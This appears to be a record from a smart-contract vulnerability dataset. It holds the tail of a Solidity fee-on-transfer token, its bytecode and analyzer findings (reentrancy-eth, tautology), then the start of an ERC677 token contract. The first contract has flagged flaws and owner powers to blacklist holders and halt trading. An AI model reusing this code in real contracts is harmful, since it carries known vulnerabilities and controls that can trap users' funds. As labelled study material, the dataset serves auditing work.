if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 12, "Buy tax must be between 0% and 14%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 12, "Sell tax must be between 0% and 14%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610582578063dd62ed3e146105a2578063ea1644d5146105e8578063f2fde38b1461060857600080fd5b8063a2a957bb146104fd578063a9059cbb1461051d578063bfd792841461053d578063c3c8cd801461056d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104615780638f9a55c01461048157806395d89b411461049757806398a5c315146104dd57600080fd5b80637d1db4a5146104005780637f2feddc146104165780638da5cb5b1461044357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461039657806370a08231146103ab578063715018a6146103cb57806374010ece146103e057600080fd5b8063313ce5671461031a57806349bd5a5e146103365780636b999053146103565780636d8aa8f81461037657600080fd5b80631694505e116101ab5780631694505e1461028657806318160ddd146102be57806323b872dd146102e45780632fd689e31461030457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611fcd565b610628565b005b34801561020a57600080fd5b5060408051808201909152600981527f427566667920496e75000000000000000000000000000000000000000000000060208201525b60405161024d91906120b0565b60405180910390f35b34801561026257600080fd5b50610276610271366004612123565b6106f3565b604051901515815260200161024d565b34801561029257600080fd5b506014546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ca57600080fd5b50683635c9adc5dea000005b60405190815260200161024d565b3480156102f057600080fd5b506102766102ff36600461214f565b61070a565b34801561031057600080fd5b506102d660185481565b34801561032657600080fd5b506040516009815260200161024d565b34801561034257600080fd5b506015546102a6906001600160a01b031681565b34801561036257600080fd5b506101fc610371366004612190565b610773565b34801561038257600080fd5b506101fc6103913660046121bd565b6107ee565b3480156103a257600080fd5b506101fc610894565b3480156103b757600080fd5b506102d66103c6366004612190565b6108df565b3480156103d757600080fd5b506101fc610901565b3480156103ec57600080fd5b506101fc6103fb3660046121d8565b6109bd565b34801561040c57600080fd5b506102d660165481565b34801561042257600080fd5b506102d6610431366004612190565b60116020526000908152604090205481565b34801561044f57600080fd5b506000546001600160a01b03166102a6565b34801561046d57600080fd5b506101fc61047c3660046121bd565b610a2c565b34801561048d57600080fd5b506102d660175481565b3480156104a357600080fd5b5060408051808201909152600581527f42554646590000000000000000000000000000000000000000000000000000006020820152610240565b3480156104e957600080fd5b506101fc6104f83660046121d8565b610ad0565b34801561050957600080fd5b506101fc6105183660046121f1565b610b2f565b34801561052957600080fd5b50610276610538366004612123565b610d79565b34801561054957600080fd5b50610276610558366004612190565b60106020526000908152604090205460ff1681565b34801561057957600080fd5b506101fc610d86565b34801561058e57600080fd5b506101fc61059d366004612223565b610dda565b3480156105ae57600080fd5b506102d66105bd3660046122a7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105f457600080fd5b506101fc6106033660046121d8565b610eab565b34801561061457600080fd5b506101fc610623366004612190565b610f0a565b6000546001600160a01b031633146106875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b81518110156106ef576001601060008484815181106106ab576106ab6122e0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106e78161233e565b91505061068a565b5050565b6000610700338484611053565b5060015b92915050565b60006107178484846111ab565b6107698433610764856040518060600160405280602881526020016124ad602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611797565b611053565b5060019392505050565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108485760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b60158054911515760100000000000000000000000000000000000000000000027fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6012546001600160a01b0316336001600160a01b031614806108c957506013546001600160a01b0316336001600160a01b0316145b6108d257600080fd5b476108dc816117d1565b50565b6001600160a01b0381166000908152600260205260408120546107049061180b565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b03163314610a175760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b674563918244f400008111156108dc57601655565b6000546001600160a01b03163314610a865760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6015805491151574010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff909216919091179055565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b601855565b6000546001600160a01b03163314610b895760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6002841115610c005760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e203025206160448201527f6e64203225000000000000000000000000000000000000000000000000000000606482015260840161067e565b600c821115610c775760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e64203160448201527f3425000000000000000000000000000000000000000000000000000000000000606482015260840161067e565b6002831115610cee5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e2030252060448201527f616e642032250000000000000000000000000000000000000000000000000000606482015260840161067e565b600c811115610d655760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201527f3134250000000000000000000000000000000000000000000000000000000000606482015260840161067e565b600893909355600a91909155600955600b55565b60006107003384846111ab565b6012546001600160a01b0316336001600160a01b03161480610dbb57506013546001600160a01b0316336001600160a01b0316145b610dc457600080fd5b6000610dcf306108df565b90506108dc816118a2565b6000546001600160a01b03163314610e345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b60005b82811015610ea5578160056000868685818110610e5657610e566122e0565b9050602002016020810190610e6b9190612190565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610e9d8161233e565b915050610e37565b50505050565b6000546001600160a01b03163314610f055760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b601755565b6000546001600160a01b03163314610f645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067e565b6001600160a01b038116610fe05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161067e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b0383166110ce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161067e565b6001600160a01b03821661114a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161067e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161067e565b6001600160a01b0382166112a35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161067e565b600081116113195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f0000000000000000000000000000000000000000000000606482015260840161067e565b6000546001600160a01b0384811691161480159061134557506000546001600160a01b03838116911614155b156116905760155474010000000000000000000000000000000000000000900460ff166113ef576000546001600160a01b038481169116146113ef5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161067e565b6016548111156114415760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161067e565b6001600160a01b03831660009081526010602052604090205460ff1615801561148357506001600160a01b03821660009081526010602052604090205460ff16155b6114f55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201527f6564210000000000000000000000000000000000000000000000000000000000606482015260840161067e565b6015546001600160a01b038381169116146115945760175481611517846108df565b6115219190612377565b106115945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960448201527f7a65210000000000000000000000000000000000000000000000000000000000606482015260840161067e565b600061159f306108df565b6018546016549192508210159082106115b85760165491505b8080156115e157506015547501000000000000000000000000000000000000000000900460ff16155b80156115fb57506015546001600160a01b03868116911614155b80156116235750601554760100000000000000000000000000000000000000000000900460ff165b801561164857506001600160a01b03851660009081526005602052604090205460ff16155b801561166d57506001600160a01b03841660009081526005602052604090205460ff16155b1561168d5761167b826118a2565b47801561168b5761168b476117d1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806116d257506001600160a01b03831660009081526005602052604090205460ff165b8061170457506015546001600160a01b0385811691161480159061170457506015546001600160a01b03848116911614155b156117115750600061178b565b6015546001600160a01b03858116911614801561173c57506014546001600160a01b03848116911614155b1561174e57600854600c55600954600d555b6015546001600160a01b03848116911614801561177957506014546001600160a01b03858116911614155b1561178b57600a54600c55600b54600d555b610ea584848484611aa5565b600081848411156117bb5760405162461bcd60e51b815260040161067e91906120b0565b5060006117c8848661238f565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ef573d6000803e3d6000fd5b60006006548211156118855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201527f65666c656374696f6e7300000000000000000000000000000000000000000000606482015260840161067e565b600061188f611ad3565b905061189b8382611af6565b9392505050565b601580547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1675010000000000000000000000000000000000000000001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611917576119176122e0565b6001600160a01b03928316602091820292909201810191909152601454604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561198457600080fd5b505afa158015611998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119bc91906123a6565b816001815181106119cf576119cf6122e0565b6001600160a01b0392831660209182029290920101526014546119f59130911684611053565b6014546040517f791ac9470000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063791ac94790611a479085906000908690309042906004016123c3565b600060405180830381600087803b158015611a6157600080fd5b505af1158015611a75573d6000803e3d6000fd5b5050601580547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b80611ab257611ab2611b38565b611abd848484611b66565b80610ea557610ea5600e54600c55600f54600d55565b6000806000611ae0611c5d565b9092509050611aef8282611af6565b9250505090565b600061189b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c9f565b600c54158015611b485750600d54155b15611b4f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611b7887611ccd565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611baa9087611d2a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611bd99086611d6c565b6001600160a01b038916600090815260026020526040902055611bfb81611dcb565b611c058483611e15565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c4a91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611c798282611af6565b821015611c9657505060065492683635c9adc5dea0000092509050565b90939092509050565b60008183611cc05760405162461bcd60e51b815260040161067e91906120b0565b5060006117c88486612434565b6000806000806000806000806000611cea8a600c54600d54611e39565b9250925092506000611cfa611ad3565b90506000806000611d0d8e878787611e8e565b919e509c509a509598509396509194505050505091939550919395565b600061189b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611797565b600080611d798385612377565b90508381101561189b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161067e565b6000611dd5611ad3565b90506000611de38383611ede565b30600090815260026020526040902054909150611e009082611d6c565b30600090815260026020526040902055505050565b600654611e229083611d2a565b600655600754611e329082611d6c565b6007555050565b6000808080611e536064611e4d8989611ede565b90611af6565b90506000611e666064611e4d8a89611ede565b90506000611e7e82611e788b86611d2a565b90611d2a565b9992985090965090945050505050565b6000808080611e9d8886611ede565b90506000611eab8887611ede565b90506000611eb98888611ede565b90506000611ecb82611e788686611d2a565b939b939a50919850919650505050505050565b600082611eed57506000610704565b6000611ef9838561246f565b905082611f068583612434565b1461189b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f7700000000000000000000000000000000000000000000000000000000000000606482015260840161067e565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6001600160a01b03811681146108dc57600080fd5b8035611fc881611fa8565b919050565b60006020808385031215611fe057600080fd5b823567ffffffffffffffff80821115611ff857600080fd5b818501915085601f83011261200c57600080fd5b81358181111561201e5761201e611f79565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f8301168101818110858211171561206157612061611f79565b60405291825284820192508381018501918883111561207f57600080fd5b938501935b828510156120a45761209585611fbd565b84529385019392850192612084565b98975050505050505050565b600060208083528351808285015260005b818110156120dd578581018301518582016040015282016120c1565b818111156120ef576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6000806040838503121561213657600080fd5b823561214181611fa8565b946020939093013593505050565b60008060006060848603121561216457600080fd5b833561216f81611fa8565b9250602084013561217f81611fa8565b929592945050506040919091013590565b6000602082840312156121a257600080fd5b813561189b81611fa8565b80358015158114611fc857600080fd5b6000602082840312156121cf57600080fd5b61189b826121ad565b6000602082840312156121ea57600080fd5b5035919050565b6000806000806080858703121561220757600080fd5b5050823594602084013594506040840135936060013592509050565b60008060006040848603121561223857600080fd5b833567ffffffffffffffff8082111561225057600080fd5b818601915086601f83011261226457600080fd5b81358181111561227357600080fd5b8760208260051b850101111561228857600080fd5b60209283019550935061229e91860190506121ad565b90509250925092565b600080604083850312156122ba57600080fd5b82356122c581611fa8565b915060208301356122d581611fa8565b809150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156123705761237061230f565b5060010190565b6000821982111561238a5761238a61230f565b500190565b6000828210156123a1576123a161230f565b500390565b6000602082840312156123b857600080fd5b815161189b81611fa8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124135784516001600160a01b0316835293830193918301916001016123ee565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261246a577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a7576124a761230f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da9aa38ebfb9a7a14b4ce4b663830531c98c4641b42a03ef3a2bddd83fc01de364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 7,931 |
0xc50744437857e738bda62368a345af756fe54370
|
pragma solidity 0.4.21;
// File: contracts/ERC677Receiver.sol
contract ERC677Receiver {
function onTokenTransfer(address _from, uint _value, bytes _data) external returns(bool);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/ERC677.sol
contract ERC677 is ERC20 {
event Transfer(address indexed from, address indexed to, uint value, bytes data);
function transferAndCall(address, uint, bytes) public returns (bool);
}
// File: contracts/IBurnableMintableERC677Token.sol
contract IBurnableMintableERC677Token is ERC677 {
function mint(address, uint256) public returns (bool);
function burn(uint256 _value) public;
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
// File: zeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
